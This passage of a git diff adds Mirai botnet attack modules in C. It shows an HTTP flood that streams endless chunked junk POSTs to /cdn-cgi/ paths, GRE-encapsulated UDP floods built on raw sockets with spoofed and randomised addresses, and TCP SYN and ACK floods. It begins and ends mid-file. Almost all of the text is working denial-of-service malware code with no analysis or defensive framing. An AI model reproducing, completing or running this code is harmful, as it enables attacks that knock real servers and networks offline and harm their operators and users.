== 0) + { + conn->state = HTTP_CONN_RESTART; + break; + } + + conn->content_length = chunklen + 2; + consumed = new_line_pos; + } + } else { + // get rid of any extra in the buf before we move on... + conn->content_length = conn->rdbuf_pos - consumed; + if (conn->content_length == 0) + { + conn->state = HTTP_CONN_RESTART; + break; + } + } + } + + if (consumed == 0) + break; + else + { + conn->rdbuf_pos -= consumed; + memmove(conn->rdbuf, conn->rdbuf + consumed, conn->rdbuf_pos); + conn->rdbuf[conn->rdbuf_pos] = 0; + + if (conn->rdbuf_pos == 0) + break; + } + } + } + } else if (conn->state == HTTP_CONN_QUEUE_RESTART) { + while(TRUE) + { + errno = 0; + ret = recv(conn->fd, generic_memes, 10240, MSG_NOSIGNAL); + if (ret == 0) + { +#ifdef DEBUG + printf("[http flood] HTTP_CONN_QUEUE_RESTART FD%d connection gracefully closed\n", conn->fd); +#endif + errno = ECONNRESET; + ret = -1; // Fall through to closing connection below + } + if (ret == -1) + { + if (errno != EAGAIN && errno != EWOULDBLOCK) + { +#ifdef DEBUG + printf("[http flood] HTTP_CONN_QUEUE_RESTART FD%d lost connection\n", conn->fd); +#endif + close(conn->fd); + conn->fd = -1; + conn->state = HTTP_CONN_INIT; + } + break; + } + } + if (conn->state != HTTP_CONN_INIT) + conn->state = HTTP_CONN_RESTART; + } + } + } + + // handle any sockets that didnt return from select here + // also handle timeout on HTTP_CONN_QUEUE_RESTART just in case there was no other data to be read (^: (usually this will never happen) +#ifdef DEBUG + if (sockets == 1) + { + printf("debug mode sleep\n"); + sleep(1); + } +#endif + } +} + +void attack_app_cfnull(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts) +{ + int i, ii, rfd, ret = 0; + struct attack_cfnull_state *http_table = NULL; + char *domain = attack_get_opt_str(opts_len, opts, ATK_OPT_DOMAIN, NULL); + int sockets = attack_get_opt_int(opts_len, opts, ATK_OPT_CONNS, 1); + + char generic_memes[10241] = {0}; + + if (domain == NULL) + return; + + if (util_strlen(domain) > HTTP_DOMAIN_MAX - 1) + return; + + if (sockets > HTTP_CONNECTION_MAX) + sockets = HTTP_CONNECTION_MAX; + + http_table = calloc(sockets, sizeof(struct attack_cfnull_state)); + + for (i = 0; i < sockets; i++) + { + http_table[i].state = HTTP_CONN_INIT; + http_table[i].fd = -1; + http_table[i].dst_addr = targs[i % targs_len].addr; + + util_strcpy(http_table[i].domain, domain); + + if (targs[i % targs_len].netmask < 32) + http_table[i].dst_addr = htonl(ntohl(targs[i % targs_len].addr) + (((uint32_t)rand_next()) >> targs[i % targs_len].netmask)); + + switch(rand_next() % 5) + { + case 0: + table_unlock_val(TABLE_HTTP_ONE); + util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_ONE, NULL)); + table_lock_val(TABLE_HTTP_ONE); + break; + case 1: + table_unlock_val(TABLE_HTTP_TWO); + util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_TWO, NULL)); + table_lock_val(TABLE_HTTP_TWO); + break; + case 2: + table_unlock_val(TABLE_HTTP_THREE); + util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_THREE, NULL)); + table_lock_val(TABLE_HTTP_THREE); + break; + case 3: + table_unlock_val(TABLE_HTTP_FOUR); + util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_FOUR, NULL)); + table_lock_val(TABLE_HTTP_FOUR); + break; + case 4: + table_unlock_val(TABLE_HTTP_FIVE); + util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_FIVE, NULL)); + table_lock_val(TABLE_HTTP_FIVE); + break; + } + } + + while(TRUE) + { + fd_set fdset_rd, fdset_wr; + int mfd = 0, nfds; + struct timeval tim; + struct attack_cfnull_state *conn; + uint32_t fake_time = time(NULL); + + FD_ZERO(&fdset_rd); + FD_ZERO(&fdset_wr); + + for (i = 0; i < sockets; i++) + { + conn = &(http_table[i]); + + if (conn->state == HTTP_CONN_RESTART) + { + conn->state = HTTP_CONN_INIT; + } + + if (conn->state == HTTP_CONN_INIT) + { + struct sockaddr_in addr = {0}; + + if (conn->fd != -1) + close(conn->fd); + if ((conn->fd = socket(AF_INET, SOCK_STREAM, 0)) == -1) + continue; + + fcntl(conn->fd, F_SETFL, O_NONBLOCK | fcntl(conn->fd, F_GETFL, 0)); + + ii = 65535; + setsockopt(conn->fd, 0, SO_RCVBUF, &ii ,sizeof(int)); + + addr.sin_family = AF_INET; + addr.sin_addr.s_addr = conn->dst_addr; + addr.sin_port = htons(80); + + conn->last_recv = fake_time; + conn->state = HTTP_CONN_CONNECTING; + connect(conn->fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)); +#ifdef DEBUG + printf("[http flood] fd%d started connect\n", conn->fd); +#endif + + FD_SET(conn->fd, &fdset_wr); + if (conn->fd > mfd) + mfd = conn->fd + 1; + } + else if (conn->state == HTTP_CONN_CONNECTING) + { + if (fake_time - conn->last_recv > 30) + { + conn->state = HTTP_CONN_INIT; + close(conn->fd); + conn->fd = -1; + continue; + } + + FD_SET(conn->fd, &fdset_wr); + if (conn->fd > mfd) + mfd = conn->fd + 1; + } + else if (conn->state == HTTP_CONN_SEND_HEADERS) + { +#ifdef DEBUG + //printf("[http flood] Sending http request\n"); +#endif + + char buf[10240]; + util_zero(buf, 10240); + + //util_strcpy(buf + util_strlen(buf), "POST /cdn-cgi/l/chk_captcha HTTP/1.1\r\nUser-Agent: "); + util_strcpy(buf + util_strlen(buf), "POST /cdn-cgi/"); + rand_alphastr(buf + util_strlen(buf), 16); + util_strcpy(buf + util_strlen(buf), " HTTP/1.1\r\nUser-Agent: "); + util_strcpy(buf + util_strlen(buf), conn->user_agent); + util_strcpy(buf + util_strlen(buf), "\r\nHost: "); + util_strcpy(buf + util_strlen(buf), conn->domain); + util_strcpy(buf + util_strlen(buf), "\r\n"); + + table_unlock_val(TABLE_ATK_KEEP_ALIVE); + util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_KEEP_ALIVE, NULL)); + table_lock_val(TABLE_ATK_KEEP_ALIVE); + util_strcpy(buf + util_strlen(buf), "\r\n"); + + table_unlock_val(TABLE_ATK_ACCEPT); + util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_ACCEPT, NULL)); + table_lock_val(TABLE_ATK_ACCEPT); + util_strcpy(buf + util_strlen(buf), "\r\n"); + + table_unlock_val(TABLE_ATK_ACCEPT_LNG); + util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_ACCEPT_LNG, NULL)); + table_lock_val(TABLE_ATK_ACCEPT_LNG); + util_strcpy(buf + util_strlen(buf), "\r\n"); + + table_unlock_val(TABLE_ATK_CONTENT_TYPE); + util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_CONTENT_TYPE, NULL)); + table_lock_val(TABLE_ATK_CONTENT_TYPE); + util_strcpy(buf + util_strlen(buf), "\r\n"); + + table_unlock_val(TABLE_ATK_TRANSFER_ENCODING_HDR); + util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_TRANSFER_ENCODING_HDR, NULL)); + table_lock_val(TABLE_ATK_TRANSFER_ENCODING_HDR); + util_strcpy(buf + util_strlen(buf), " "); + table_unlock_val(TABLE_ATK_CHUNKED); + util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_CHUNKED, NULL)); + table_lock_val(TABLE_ATK_CHUNKED); + util_strcpy(buf + util_strlen(buf), "\r\n"); + + util_strcpy(buf + util_strlen(buf), "\r\n"); + + conn->to_send = (80 * 1024 * 1024); + +#ifdef DEBUG + if (sockets == 1) + { + printf("sending buf: \"%s\"\n", buf); + } +#endif + + send(conn->fd, buf, util_strlen(buf), MSG_NOSIGNAL); + conn->last_send = fake_time; + + conn->state = HTTP_CONN_SEND_JUNK; + FD_SET(conn->fd, &fdset_wr); + FD_SET(conn->fd, &fdset_rd); + if (conn->fd > mfd) + mfd = conn->fd + 1; + } + else if (conn->state == HTTP_CONN_SEND_JUNK) + { + int sent = 0; + char rndbuf[1025] = {0}; + util_zero(rndbuf, 1025); + rand_alphastr(rndbuf, 1024); + + if (conn->to_send <= 0) + { + send(conn->fd, "0\r\n", 3, MSG_NOSIGNAL); + } else { + // EZZZZZZZZZ HACKS + if (conn->to_send < 1024) + rndbuf[conn->to_send] = 0; + + if ((conn->to_send >= 1024 && (conn->to_send % 1024) == 0)) + { + char szbuf[4] = {0}; + util_zero(szbuf, 4); + util_itoa(1024, 16, szbuf); + send(conn->fd, szbuf, util_strlen(szbuf), MSG_NOSIGNAL); + send(conn->fd, "\r\n", 2, MSG_NOSIGNAL); + } + + if ((sent = send(conn->fd, rndbuf, util_strlen(rndbuf), MSG_NOSIGNAL)) == -1) + { + conn->state = HTTP_CONN_RESTART; + continue; + } + + // if our local send buffer is full, slow down. no need to rush (^: + if (sent != util_strlen(rndbuf)) + { + conn->state = HTTP_CONN_SNDBUF_WAIT; + } + + conn->to_send -= sent; + FD_SET(conn->fd, &fdset_wr); + } + + conn->last_send = fake_time; + FD_SET(conn->fd, &fdset_rd); + if (conn->fd > mfd) + mfd = conn->fd + 1; + } + else if (conn->state == HTTP_CONN_SNDBUF_WAIT) + { + FD_SET(conn->fd, &fdset_wr); + if (conn->fd > mfd) + mfd = conn->fd + 1; + } + else + { + // NEW STATE WHO DIS + conn->state = HTTP_CONN_INIT; + close(conn->fd); + conn->fd = -1; + } + } + + if (mfd == 0) + continue; + + tim.tv_usec = 0; + tim.tv_sec = 1; + nfds = select(mfd, &fdset_rd, &fdset_wr, NULL, &tim); + fake_time = time(NULL); + + if (nfds < 1) + continue; + + for (i = 0; i < sockets; i++) + { + conn = &(http_table[i]); + + if (conn->fd == -1) + continue; + + if (FD_ISSET(conn->fd, &fdset_wr)) + { + if (conn->state == HTTP_CONN_CONNECTING) + { + int err = 0; + socklen_t err_len = sizeof (err); + + ret = getsockopt(conn->fd, SOL_SOCKET, SO_ERROR, &err, &err_len); + if (err == 0 && ret == 0) + { +#ifdef DEBUG + printf("[http flood] FD%d connected.\n", conn->fd); +#endif + conn->state = HTTP_CONN_SEND; + } + else + { +#ifdef DEBUG + printf("[http flood] FD%d error while connecting = %d\n", conn->fd, err); +#endif + close(conn->fd); + conn->fd = -1; + conn->state = HTTP_CONN_INIT; + continue; + } + } + else if (conn->state == HTTP_CONN_SNDBUF_WAIT) + { + conn->state = HTTP_CONN_SEND_JUNK; + } + } + + if (FD_ISSET(conn->fd, &fdset_rd)) + { + // if we get any sort of headers or error code then punt it. + // we really dont care about any content we get + conn->state = HTTP_CONN_RESTART; + } + } + + // handle any sockets that didnt return from select here + // also handle timeout on HTTP_CONN_QUEUE_RESTART just in case there was no other data to be read (^: (usually this will never happen) +#ifdef DEBUG + if (sockets == 1) + { + printf("debug mode sleep\n"); + sleep(1); + } +#endif + } +} + diff --git a/mirai/bot/attack_gre.c b/mirai/bot/attack_gre.c new file mode 100755 index 0000000..1a8560d --- /dev/null +++ b/mirai/bot/attack_gre.c @@ -0,0 +1,318 @@ +#define _GNU_SOURCE + +#ifdef DEBUG +#include +#endif +#include +#include +#include +#include +#include +#include + +#include "includes.h" +#include "attack.h" +#include "protocol.h" +#include "util.h" +#include "checksum.h" +#include "rand.h" + +void attack_gre_ip(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts) +{ + int i, fd; + char **pkts = calloc(targs_len, sizeof (char *)); + uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0); + uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff); + uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64); + BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, TRUE); + port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff); + port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff); + int data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 512); + BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE); + BOOL gcip = attack_get_opt_int(opts_len, opts, ATK_OPT_GRE_CONSTIP, FALSE); + uint32_t source_ip = attack_get_opt_int(opts_len, opts, ATK_OPT_SOURCE, LOCAL_ADDR); + + if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1) + { +#ifdef DEBUG + printf("Failed to create raw socket. Aborting attack\n"); +#endif + return; + } + i = 1; + if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1) + { +#ifdef DEBUG + printf("Failed to set IP_HDRINCL. Aborting\n"); +#endif + close(fd); + return; + } + + for (i = 0; i < targs_len; i++) + { + struct iphdr *iph; + struct grehdr *greh; + struct iphdr *greiph; + struct udphdr *udph; + + pkts[i] = calloc(1510, sizeof (char *)); + iph = (struct iphdr *)(pkts[i]); + greh = (struct grehdr *)(iph + 1); + greiph = (struct iphdr *)(greh + 1); + udph = (struct udphdr *)(greiph + 1); + + // IP header init + iph->version = 4; + iph->ihl = 5; + iph->tos = ip_tos; + iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct grehdr) + sizeof (struct iphdr) + sizeof (struct udphdr) + data_len); + iph->id = htons(ip_ident); + iph->ttl = ip_ttl; + if (dont_frag) + iph->frag_off = htons(1 << 14); + iph->protocol = IPPROTO_GRE; + iph->saddr = source_ip; + iph->daddr = targs[i].addr; + + // GRE header init + greh->protocol = htons(ETH_P_IP); // Protocol is 2 bytes + + // Encapsulated IP header init + greiph->version = 4; + greiph->ihl = 5; + greiph->tos = ip_tos; + greiph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct udphdr) + data_len); + greiph->id = htons(~ip_ident); + greiph->ttl = ip_ttl; + if (dont_frag) + greiph->frag_off = htons(1 << 14); + greiph->protocol = IPPROTO_UDP; + greiph->saddr = rand_next(); + if (gcip) + greiph->daddr = iph->daddr; + else + greiph->daddr = ~(greiph->saddr - 1024); + + // UDP header init + udph->source = htons(sport); + udph->dest = htons(dport); + udph->len = htons(sizeof (struct udphdr) + data_len); + } + + while (TRUE) + { + for (i = 0; i < targs_len; i++) + { + char *pkt = pkts[i]; + struct iphdr *iph = (struct iphdr *)pkt; + struct grehdr *greh = (struct grehdr *)(iph + 1); + struct iphdr *greiph = (struct iphdr *)(greh + 1); + struct udphdr *udph = (struct udphdr *)(greiph + 1); + char *data = (char *)(udph + 1); + + // For prefix attacks + if (targs[i].netmask < 32) + iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask)); + + if (source_ip == 0xffffffff) + iph->saddr = rand_next(); + + if (ip_ident == 0xffff) + { + iph->id = rand_next() & 0xffff; + greiph->id = ~(iph->id - 1000); + } + if (sport == 0xffff) + udph->source = rand_next() & 0xffff; + if (dport == 0xffff) + udph->dest = rand_next() & 0xffff; + + if (!gcip) + greiph->daddr = rand_next(); + else + greiph->daddr = iph->daddr; + + if (data_rand) + rand_str(data, data_len); + + iph->check = 0; + iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr)); + + greiph->check = 0; + greiph->check = checksum_generic((uint16_t *)greiph, sizeof (struct iphdr)); + + udph->check = 0; + udph->check = checksum_tcpudp(greiph, udph, udph->len, sizeof (struct udphdr) + data_len); + + targs[i].sock_addr.sin_family = AF_INET; + targs[i].sock_addr.sin_addr.s_addr = iph->daddr; + targs[i].sock_addr.sin_port = 0; + sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct grehdr) + sizeof (struct iphdr) + sizeof (struct udphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in)); + } + +#ifdef DEBUG + if (errno != 0) + printf("errno = %d\n", errno); + break; +#endif + } +} + +void attack_gre_eth(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts) +{ + int i, fd; + char **pkts = calloc(targs_len, sizeof (char *)); + uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0); + uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff); + uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64); + BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, TRUE); + port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff); + port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff); + int data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 512); + BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE); + BOOL gcip = attack_get_opt_int(opts_len, opts, ATK_OPT_GRE_CONSTIP, FALSE); + uint32_t source_ip = attack_get_opt_int(opts_len, opts, ATK_OPT_SOURCE, LOCAL_ADDR); + + if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1) + { +#ifdef DEBUG + printf("Failed to create raw socket. Aborting attack\n"); +#endif + return; + } + i = 1; + if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1) + { +#ifdef DEBUG + printf("Failed to set IP_HDRINCL. Aborting\n"); +#endif + close(fd); + return; + } + + for (i = 0; i < targs_len; i++) + { + struct iphdr *iph; + struct grehdr *greh; + struct ethhdr *ethh; + struct iphdr *greiph; + struct udphdr *udph; + uint32_t ent1, ent2, ent3; + + pkts[i] = calloc(1510, sizeof (char *)); + iph = (struct iphdr *)(pkts[i]); + greh = (struct grehdr *)(iph + 1); + ethh = (struct ethhdr *)(greh + 1); + greiph = (struct iphdr *)(ethh + 1); + udph = (struct udphdr *)(greiph + 1); + + // IP header init + iph->version = 4; + iph->ihl = 5; + iph->tos = ip_tos; + iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct grehdr) + sizeof (struct ethhdr) + sizeof (struct iphdr) + sizeof (struct udphdr) + data_len); + iph->id = htons(ip_ident); + iph->ttl = ip_ttl; + if (dont_frag) + iph->frag_off = htons(1 << 14); + iph->protocol = IPPROTO_GRE; + iph->saddr = source_ip; + iph->daddr = targs[i].addr; + + // GRE header init + greh->protocol = htons(PROTO_GRE_TRANS_ETH); // Protocol is 2 bytes + + // Ethernet header init + ethh->h_proto = htons(ETH_P_IP); + + // Encapsulated IP header init + greiph->version = 4; + greiph->ihl = 5; + greiph->tos = ip_tos; + greiph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct udphdr) + data_len); + greiph->id = htons(~ip_ident); + greiph->ttl = ip_ttl; + if (dont_frag) + greiph->frag_off = htons(1 << 14); + greiph->protocol = IPPROTO_UDP; + greiph->saddr = rand_next(); + if (gcip) + greiph->daddr = iph->daddr; + else + greiph->daddr = ~(greiph->saddr - 1024); + + // UDP header init + udph->source = htons(sport); + udph->dest = htons(dport); + udph->len = htons(sizeof (struct udphdr) + data_len); + } + + while (TRUE) + { + for (i = 0; i < targs_len; i++) + { + char *pkt = pkts[i]; + struct iphdr *iph = (struct iphdr *)pkt; + struct grehdr *greh = (struct grehdr *)(iph + 1); + struct ethhdr *ethh = (struct ethhdr *)(greh + 1); + struct iphdr *greiph = (struct iphdr *)(ethh + 1); + struct udphdr *udph = (struct udphdr *)(greiph + 1); + char *data = (char *)(udph + 1); + uint32_t ent1, ent2, ent3; + + // For prefix attacks + if (targs[i].netmask < 32) + iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask)); + + if (source_ip == 0xffffffff) + iph->saddr = rand_next(); + + if (ip_ident == 0xffff) + { + iph->id = rand_next() & 0xffff; + greiph->id = ~(iph->id - 1000); + } + if (sport == 0xffff) + udph->source = rand_next() & 0xffff; + if (dport == 0xffff) + udph->dest = rand_next() & 0xffff; + + if (!gcip) + greiph->daddr = rand_next(); + else + greiph->daddr = iph->daddr; + + ent1 = rand_next(); + ent2 = rand_next(); + ent3 = rand_next(); + util_memcpy(ethh->h_dest, (char *)&ent1, 4); + util_memcpy(ethh->h_source, (char *)&ent2, 4); + util_memcpy(ethh->h_dest + 4, (char *)&ent3, 2); + util_memcpy(ethh->h_source + 4, (((char *)&ent3)) + 2, 2); + + if (data_rand) + rand_str(data, data_len); + + iph->check = 0; + iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr)); + + greiph->check = 0; + greiph->check = checksum_generic((uint16_t *)greiph, sizeof (struct iphdr)); + + udph->check = 0; + udph->check = checksum_tcpudp(greiph, udph, udph->len, sizeof (struct udphdr) + data_len); + + targs[i].sock_addr.sin_family = AF_INET; + targs[i].sock_addr.sin_addr.s_addr = iph->daddr; + targs[i].sock_addr.sin_port = 0; + sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct grehdr) + sizeof (struct ethhdr) + sizeof (struct iphdr) + sizeof (struct udphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in)); + } + +#ifdef DEBUG + if (errno != 0) + printf("errno = %d\n", errno); + break; +#endif + } +} diff --git a/mirai/bot/attack_tcp.c b/mirai/bot/attack_tcp.c new file mode 100755 index 0000000..4d71527 --- /dev/null +++ b/mirai/bot/attack_tcp.c @@ -0,0 +1,489 @@ +#define _GNU_SOURCE + +#ifdef DEBUG +#include +#endif +#include +#include +#include +#include +#include +#include +#include +#include "includes.h" +#include "attack.h" +#include "checksum.h" +#include "rand.h" + +void attack_tcp_syn(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts) +{ + int i, fd; + char **pkts = calloc(targs_len, sizeof (char *)); + uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0); + uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff); + uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64); + BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, TRUE); + port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff); + port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff); + uint32_t seq = attack_get_opt_int(opts_len, opts, ATK_OPT_SEQRND, 0xffff); + uint32_t ack = attack_get_opt_int(opts_len, opts, ATK_OPT_ACKRND, 0); + BOOL urg_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_URG, FALSE); + BOOL ack_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_ACK, FALSE); + BOOL psh_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_PSH, FALSE); + BOOL rst_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_RST, FALSE); + BOOL syn_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_SYN, TRUE); + BOOL fin_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_FIN, FALSE); + uint32_t source_ip = attack_get_opt_ip(opts_len, opts, ATK_OPT_SOURCE, LOCAL_ADDR); + + if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1) + { +#ifdef DEBUG + printf("Failed to create raw socket. Aborting attack\n"); +#endif + return; + } + + i = 1; + if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1) + { +#ifdef DEBUG + printf("Failed to set IP_HDRINCL. Aborting\n"); +#endif + close(fd); + return; + } + + for (i = 0; i < targs_len; i++) + { + struct iphdr *iph; + struct tcphdr *tcph; + uint8_t *opts; + + pkts[i] = calloc(128, sizeof (char)); + iph = (struct iphdr *)pkts[i]; + tcph = (struct tcphdr *)(iph + 1); + opts = (uint8_t *)(tcph + 1); + + iph->version = 4; + iph->ihl = 5; + iph->tos = ip_tos; + iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr) + 20); + iph->id = htons(ip_ident); + iph->ttl = ip_ttl; + if (dont_frag) + iph->frag_off = htons(1 << 14); + iph->protocol = IPPROTO_TCP; + iph->saddr = source_ip; + iph->daddr = targs[i].addr; + + tcph->source = htons(sport); + tcph->dest = htons(dport); + tcph->seq = htons(seq); + tcph->doff = 10; + tcph->urg = urg_fl; + tcph->ack = ack_fl; + tcph->psh = psh_fl; + tcph->rst = rst_fl; + tcph->syn = syn_fl; + tcph->fin = fin_fl; + + // TCP MSS + *opts++ = PROTO_TCP_OPT_MSS; // Kind + *opts++ = 4; // Length + *((uint16_t *)opts) = htons(1400 + (rand_next() & 0x0f)); + opts += sizeof (uint16_t); + + // TCP SACK permitted + *opts++ = PROTO_TCP_OPT_SACK; + *opts++ = 2; + + // TCP timestamps + *opts++ = PROTO_TCP_OPT_TSVAL; + *opts++ = 10; + *((uint32_t *)opts) = rand_next(); + opts += sizeof (uint32_t); + *((uint32_t *)opts) = 0; + opts += sizeof (uint32_t); + + // TCP nop + *opts++ = 1; + + // TCP window scale + *opts++ = PROTO_TCP_OPT_WSS; + *opts++ = 3; + *opts++ = 6; // 2^6 = 64, window size scale = 64 + } + + while (TRUE) + { + for (i = 0; i < targs_len; i++) + { + char *pkt = pkts[i]; + struct iphdr *iph = (struct iphdr *)pkt; + struct tcphdr *tcph = (struct tcphdr *)(iph + 1); + + // For prefix attacks + if (targs[i].netmask < 32) + iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask)); + + if (source_ip == 0xffffffff) + iph->saddr = rand_next(); + if (ip_ident == 0xffff) + iph->id = rand_next() & 0xffff; + if (sport == 0xffff) + tcph->source = rand_next() & 0xffff; + if (dport == 0xffff) + tcph->dest = rand_next() & 0xffff; + if (seq == 0xffff) + tcph->seq = rand_next(); + if (ack == 0xffff) + tcph->ack_seq = rand_next(); + if (urg_fl) + tcph->urg_ptr = rand_next() & 0xffff; + + iph->check = 0; + iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr)); + + tcph->check = 0; + tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr) + 20), sizeof (struct tcphdr) + 20); + + targs[i].sock_addr.sin_port = tcph->dest; + sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct tcphdr) + 20, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in)); + } +#ifdef DEBUG + break; + if (errno != 0) + printf("errno = %d\n", errno); +#endif + } +} + +void attack_tcp_ack(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts) +{ + int i, fd; + char **pkts = calloc(targs_len, sizeof (char *)); + uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0); + uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff); + uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64); + BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, FALSE); + port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff); + port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff); + uint32_t seq = attack_get_opt_int(opts_len, opts, ATK_OPT_SEQRND, 0xffff); + uint32_t ack = attack_get_opt_int(opts_len, opts, ATK_OPT_ACKRND, 0xffff); + BOOL urg_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_URG, FALSE); + BOOL ack_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_ACK, TRUE); + BOOL psh_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_PSH, FALSE); + BOOL rst_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_RST, FALSE); + BOOL syn_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_SYN, FALSE); + BOOL fin_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_FIN, FALSE); + int data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 512); + BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE); + uint32_t source_ip = attack_get_opt_ip(opts_len, opts, ATK_OPT_SOURCE, LOCAL_ADDR); + + if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1) + { +#ifdef DEBUG + printf("Failed to create raw socket. Aborting attack\n"); +#endif + return; + } + i = 1; + if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1) + { +#ifdef DEBUG + printf("Failed to set IP_HDRINCL. Aborting\n"); +#endif + close(fd); + return; + } + + for (i = 0; i < targs_len; i++) + { + struct iphdr *iph; + struct tcphdr *tcph; + char *payload; + + pkts[i] = calloc(1510, sizeof (char)); + iph = (struct iphdr *)pkts[i]; + tcph = (struct tcphdr *)(iph + 1); + payload = (char *)(tcph + 1); + + iph->version = 4; + iph->ihl = 5; + iph->tos = ip_tos; + iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len); + iph->id = htons(ip_ident); + iph->ttl = ip_ttl; + if (dont_frag) + iph->frag_off = htons(1 << 14); + iph->protocol = IPPROTO_TCP; + iph->saddr = source_ip; + iph->daddr = targs[i].addr; + + tcph->source = htons(sport); + tcph->dest = htons(dport); + tcph->seq = htons(seq); + tcph->doff = 5; + tcph->urg = urg_fl; + tcph->ack = ack_fl; + tcph->psh = psh_fl; + tcph->rst = rst_fl; + tcph->syn = syn_fl; + tcph->fin = fin_fl; + tcph->window = rand_next() & 0xffff; + if (psh_fl) + tcph->psh = TRUE; + + rand_str(payload, data_len); + } + +// 